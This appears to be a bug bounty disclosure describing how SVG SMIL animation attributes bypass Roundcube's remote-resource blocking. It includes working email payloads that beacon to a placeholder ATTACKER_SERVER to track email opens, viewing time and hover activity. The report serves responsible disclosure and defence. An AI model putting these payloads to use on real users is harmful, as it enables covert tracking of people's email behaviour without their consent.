Nextcloud · Report #3590576
SMIL values and by attributes bypass remote image blocking via unvalidated resource-loading animations, enabling email tracking without consent
How it was found
When allow_remote is set to false, Roundcube's HTML sanitizer rcube_washtml blocks external resources by validating URI attributes through wash_uri(). For SVG SMIL animation elements (<animate>, <set>, etc.), the to and from attributes are correctly validated by resolving the attributeName and routing through the appropriate URI check (washtml.php L302-308).
However, the values and by attributes are both in the allowed attributes list ($html_attribs) and fall through to the generic pass-through at L335-336 with no URI validation whatsoever. Additionally, the element-level animation block at L573-574 only blocks animations targeting attributeName="href" (the CVE-2024-37383 fix), allowing animations targeting mask, cursor, and other resource-loading attributes to pass through.
Combined, these two gaps allow an attacker to use SMIL animations to load arbitrary external URLs, bypassing allow_remote=false.
Steps To Reproduce
Step 1: Zero-click email open tracking via SVG mask animation
Send an HTML email with the following body:
<!DOCTYPE html>
<html>
<head><title>Important Document</title></head>
<body>
<h1>Important Information</h1>
<p>Dear valued customer,</p>
<p>Please review the attached information carefully.</p>
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1" fill="white">
<animate attributeName="mask"
values="url(//ATTACKER_SERVER/[email protected])"
fill="freeze" dur="0.001s" />
</rect>
</svg>
<p>Best regards,<br>Totally Legitimate Company</p>
</body>
</html>
Step 2: Open the email in Roundcube (Firefox) with "Block remote images" enabled.
Step 3: Observe HTTP request to ATTACKER_SERVER/[email protected] in attacker's server logs.
Variant: Dwell-time measurement
The SMIL keyTimes attribute combined with multi-value values allows timed beacon firing, measuring how long a recipient views the email:
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1">
<animate attributeName="mask"
values="none;url(//ATTACKER_SERVER/ping?t=1);url(//ATTACKER_SERVER/ping?t=2)"
dur="5s" repeatCount="indefinite" />
</rect>
</svg>
Variant: Hover interaction tracking
SMIL animation of the CSS cursor property fires a resource load when the user hovers over the element:
<svg width="400" height="100">
<rect width="400" height="100" fill="#f0f0f0" rx="8">
<animate attributeType="CSS" attributeName="cursor"
values="url(//ATTACKER_SERVER/[email protected]), auto"
fill="freeze" dur="0.001s" />
</rect>
<text x="200" y="55" text-anchor="middle"
font-family="Arial" font-size="14" fill="#333"
pointer-events="none">Hover over this area</text>
</svg>
Impact
Tracking of opens, read time, and element hover